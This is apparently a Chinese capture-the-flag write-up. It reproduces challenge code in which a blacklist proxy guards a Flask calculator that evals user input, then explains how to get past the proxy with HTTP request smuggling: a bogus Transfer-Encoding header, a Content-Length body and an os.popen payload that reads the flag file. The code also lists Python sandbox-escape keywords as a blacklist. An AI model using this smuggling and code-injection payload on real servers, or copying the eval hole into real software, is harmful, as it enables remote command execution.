'__builtins__', '__getattribute__', '__getattr__', '__setattr__', '__delattr__', '__code__', '__closure__', '__func__', '__self__', '__module__', '__name__', '__qualname__', '__file__', '__loader__', '__spec__', '__package__', '__doc__', '__annotations__', '__kwdefaults__',
'__defaults__', '()', '[]', '{}', '.', 'lambda', 'yield', 'from', 'import', 'True.__class__', '"".__class__', '0.__class__', '().__class__', '[].__class__', '{}.__class__',  'pathlib', 'shutil', 'tempfile', 'glob', 'zipfile', 'tarfile', 'inspect', 'dis', 'types', 'imp',
'importlib', 'pkgutil', 'site', 'builtins', '__builtin__', 'main', '__main__', 'chr', 'ord', 'hex', 'oct', 'bin', 'repr', 'ascii', 'eval', 'exec', 'compile', 'memoryview', 'bytearray', 'bytes', 'str', 'int', 'float', '().__class__.__base__', '().__class__.__mro__',
'().__class__.__subclasses__', '().__class__.__init__', '().__class__.__dict__', '().__class__.__getattribute__', '().__class__.__bases__[0].__subclasses__()', 'del', 'global', 'nonlocal', 'assert', 'with', 'as', 'try', 'except', 'finally', 'raise', 'import', 'from', 'while', 'for', 'if',
'else', 'elif', 'def', 'class', 'return', 'yield', 'await', 'async', 'print', 'format', 'input', 'id', 'type', 'isinstance', 'issubclass', 'pickle.loads', 'marshal.loads', 'yaml.load', 'json.loads', 'evaljs', 'execjs', 'shell', 'run', 'call', 'check_output', 'Popen',
'check_call', 'getoutput', 'getstatusoutput', "url","config","read","sub","get",'\\x', '\\u', '\\U', '\\N', '\\', 'encode', 'decode', 'replace', 'join', 'split', 'format', 'translate', 'maketrans', 'getattr(', 'vars(', 'locals(', 'globals(', 'dir(', 'eval(', 'exec(', 'compile(', 'open(', '__import__(',
'().__', '"".__', '0.__', '().__class__(', '[].__class__(', '{}.__class__(', '_', '{', '}', '[', ']', '(', ')', '=', '<', '>', ':', ';', ',', '"', "'", '\\', '|', '`', '~', '!', '@', '#', '$', '%', '^', '&',  '?', 
'\n', '\r', '\t', '\f', '\v', '\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\x0b', '\x0c', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f',
'\u200b', '\u200c', '\u200d', '\u200e', '\u200f', '\u202a', '\u202b', '\u202c', '\u202d', '\u202e', '\u2060', '\u2061', '\u2062', '\u2063', '\u2064', '\ufeff', '\\x', '\\u', '\\U', '\\N{', '0x', '0o', '0b', '%', 'f"', "f'", 'b"', "b'", 'r"', "r'",  ' ', '.', '__',
'#', '--', '/*', '*/', '//', ';--', ';#', '\\v', '\\t', '\\r', '\\n', '\\b', '\\a', '\\f','ev', 'ex', 'ch', 'ge', 'b6', 'un', 'co', '__b', '__g', '__s', '__d', '__m', '__c'
]


def to_halfwidth(s):	//全角字符规范化:防止全角绕过
    s = unicodedata.normalize('NFKC', s)
    result = []
    for char in s:
        code = ord(char)
        if 0xFF21 <= code <= 0xFF3A:
            result.append(chr(code - 0xFF21 + 0x41))
        elif 0xFF41 <= code <= 0xFF5A:
            result.append(chr(code - 0xFF41 + 0x61))
        elif 0xFF10 <= code <= 0xFF19:
            result.append(chr(code - 0xFF10 + 0x30))
        elif code in {0xFF08, 0xFF5F}:
            result.append('(')
        elif code in {0xFF09, 0xFF60}:
            result.append(')')
        elif code == 0xFF3B:
            result.append('[')
        elif code == 0xFF3D:
            result.append(']')
        elif code == 0xFF5B:
            result.append('{')
        elif code == 0xFF5D:
            result.append('}')
        elif code == 0xFF01:
            result.append('!')
        elif code == 0xFF0C:
            result.append(',')
        elif code == 0xFF1B:
            result.append(';')
        elif code == 0xFF1A:
            result.append(':')
        elif code in {0x3002, 0xFF0E}:
            result.append('.')
        elif code == 0xFF1F:
            result.append('?')
        elif code == 0xFF0F:
            result.append('/')
        elif code == 0xFF02:
            result.append('"')
        elif code == 0xFF07:
            result.append("'")
        else:
            result.append(char)
    return ''.join(result)

def parse_headers(headers):
    header_dict = {}
    for line in headers:
        if ':' in line:
            key, value = line.split(':', 1)
            header_dict[key.strip().lower()] = value.strip()
    return header_dict

def check_params_for_secret(params):
    for key, values in params.items():
        for value in values:
            value_normalized = to_halfwidth(value).lower()
            for keyword in BLACKLIST_KEYWORDS:
                if keyword in value_normalized:
                    return True
    return False

def handle_client(client_socket):
    TIMEOUT_SECONDS = 5

    try:
        client_socket.settimeout(TIMEOUT_SECONDS)

        request_data = b""
        header_end_idx = -1
        while header_end_idx == -1:
            chunk = client_socket.recv(4096)
            if not chunk:
                client_socket.close()
                return
            request_data += chunk
            header_end_idx = request_data.find(b'\r\n\r\n')

        try:
            header_end_idx = request_data.find(b'\r\n\r\n')
            if header_end_idx == -1:
                raise ValueError("Malformed request")

            header_bytes = request_data[:header_end_idx]
            headers_raw = header_bytes.decode('utf-8', errors='ignore').split('\r\n')
            request_line = headers_raw[0]
            method, path, version = request_line.split(maxsplit=2)
        except Exception:
            client_socket.close()
            return

        headers = parse_headers(headers_raw[1:])
        url_parts = urlparse(path)
        query_params = parse_qs(url_parts.query)
        has_secret = check_params_for_secret(query_params)

        if method.upper() == 'POST':
            content_length = int(headers.get('content-length', '0'))
            transfer_encoding = headers.get('transfer-encoding', '').lower().strip()

            body_start = header_end_idx + 4
            body_data = request_data[body_start:] if len(request_data) > body_start else b''

            if transfer_encoding:
                body_buffer = b""
                remaining_data = body_data

                while True:
                    if b'\r\n' not in remaining_data:
                        more = client_socket.recv(4096)
                        if not more:
                            break
                        remaining_data += more
                        continue

                    size_line, rest = remaining_data.split(b'\r\n', 1)
                    try:
                        chunk_size = int(size_line.strip(), 16)
                    except ValueError:
                        break

                    if chunk_size == 0:
                        if rest.startswith(b'\r\n'):
                            break
                        else:
                            while len(rest) < 2:
                                more = client_socket.recv(4096)
                                if not more:
                                    break
                                rest += more
                            if rest.startswith(b'\r\n'):
                                break
                            else:
                                break

                    needed = chunk_size + 2
                    while len(rest) < needed:
                        more = client_socket.recv(min(4096, needed - len(rest)))
                        if not more:
                            break
                        rest += more

                    chunk_data = rest[:chunk_size]
                    body_buffer += chunk_data
                    remaining_data = rest[chunk_size + 2:]

                body_str = body_buffer.decode('utf-8', errors='ignore')
                post_params = parse_qs(body_str)
                has_secret = has_secret or check_params_for_secret(post_params)

            elif content_length > 0:
                while len(body_data) < content_length:
                    chunk = client_socket.recv(min(4096, content_length - len(body_data)))
                    if not chunk:
                        break
                    body_data += chunk

                try:
                    body_str = body_data.decode('utf-8', errors='ignore')
                    post_params = parse_qs(body_str)
                    has_secret = has_secret or check_params_for_secret(post_params)
                except Exception:
                    pass

        if has_secret:
            response = (
                "HTTP/1.1 403 Forbidden\r\n"
                "Content-Type: text/plain\r\n"
                "Connection: close\r\n"
                "\r\n"
                "We are all just trying our best to live"
            )
            client_socket.send(response.encode())
            client_socket.close()
            return

        try:
            backend_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            backend_socket.settimeout(TIMEOUT_SECONDS)
            backend_socket.connect(('localhost', 3001))	# 连接到Flask后端
            backend_socket.sendall(request_data)	 # 转发原始请求

            while True:
                response_chunk = backend_socket.recv(4096)
                if not response_chunk:
                    break
                client_socket.sendall(response_chunk)

            backend_socket.close()
        except socket.timeout:
            response = (
                "HTTP/1.1 504 Gateway Timeout\r\n"
                "Content-Type: text/plain\r\n"
                "Connection: close\r\n"
                "\r\n"
                "Did not respond in time"
            )
            client_socket.send(response.encode())
            client_socket.close()
            return
        except Exception:
            pass

        client_socket.close()

    except socket.timeout:
        try:
            response = (
                "HTTP/1.1 408 Request Timeout\r\n"
                "Content-Type: text/plain\r\n"
                "Connection: close\r\n"
                "\r\n"
                "timeout"
            )
            client_socket.send(response.encode())
        except:
            pass
        finally:
            client_socket.close()
            return

    except Exception:
        try:
            client_socket.close()
        except:
            pass

def start_flask_server():
    app = Flask(__name__)


    @app.route('/calc', methods=['POST'])
    def index():
        try:
            exp = request.form.get('calc')
            if(exp!=None):
                result = eval(exp)
                return str(result)
            else:
                return "no num to calc"
        except:
            return "I'm just a calc, I could not process this"
        
    @app.route('/', methods=['GET'])
    def home():
        return render_template('index.html')
    import logging
    log = logging.getLogger('werkzeug')
    log.setLevel(logging.ERROR)

    app.run(host='127.0.0.1', port=3001, debug=False)

def main():
    flask_thread = threading.Thread(target=start_flask_server, daemon=True)
    flask_thread.start()

    import time
    time.sleep(1)

    proxy_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    proxy_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    proxy_socket.bind(('0.0.0.0', 8000))
    proxy_socket.listen(5)

    while True:
        client_socket, addr = proxy_socket.accept()
        client_handler = threading.Thread(target=handle_client, args=(client_socket,))
        client_handler.start()

if __name__ == "__main__":
    main()

代码工作流程如下

客户端请求 → 代理服务器(8000) → 检查黑名单 → 转发到Flask(3001) → 返回响应
                ↓ (如果发现危险)
            返回403 Forbidden

利用漏洞点显然是eval,但是这waf显然从字符层面绕不过去,但是看到,content-length与transfer-encoding就知道打http请求走私

详细笔记+实验:HTTP请求走私 - FreeBuf网络安全行业门户

首先要求是post请求

(content-length和transfer-encoding的作用都是告诉服务器请求到哪里结束用的,这两都可以用于正常发送post请求),审计代码知道如果TE存在,先去TE,如果TE不存在但CL存在,才进入CL的处理逻辑。

看代码发现代理服务器只要看到`Transfer-Encoding`头存在(无论值是什么),就会尝试按照分块编码(chunked)的格式来解析请求体

然而Flask服务器的行为(后端),Flask基于Werkzeug,对于`Transfer-Encoding`头的处理是不同的,如果`Transfer-Encoding`是标准值(如`chunked`),Flask会进行分块解码,如果`Transfer-Encoding`是未知值(如`xxx`),Flask会**忽略**这个头,转而使用`Content-Length`头来确定请求体长度

这个代码解析TE时会把0视作数据停止的标志,所以这里直接加个0,payload是

Transfer-Encoding:xxx
Content-Length: 49

0
&calc=__import__("os").popen("cat /f*").read()

这样的话main启动后,先使用Transfer-Encoding头,这样打0\r\n为止,后面的命令不会检测到(绕过waf),然后转发给后端flask,由于Transfer-Encoding未知则使用Content-Length头解析从而执行命令。

感觉要是知道这个打法应该比较简单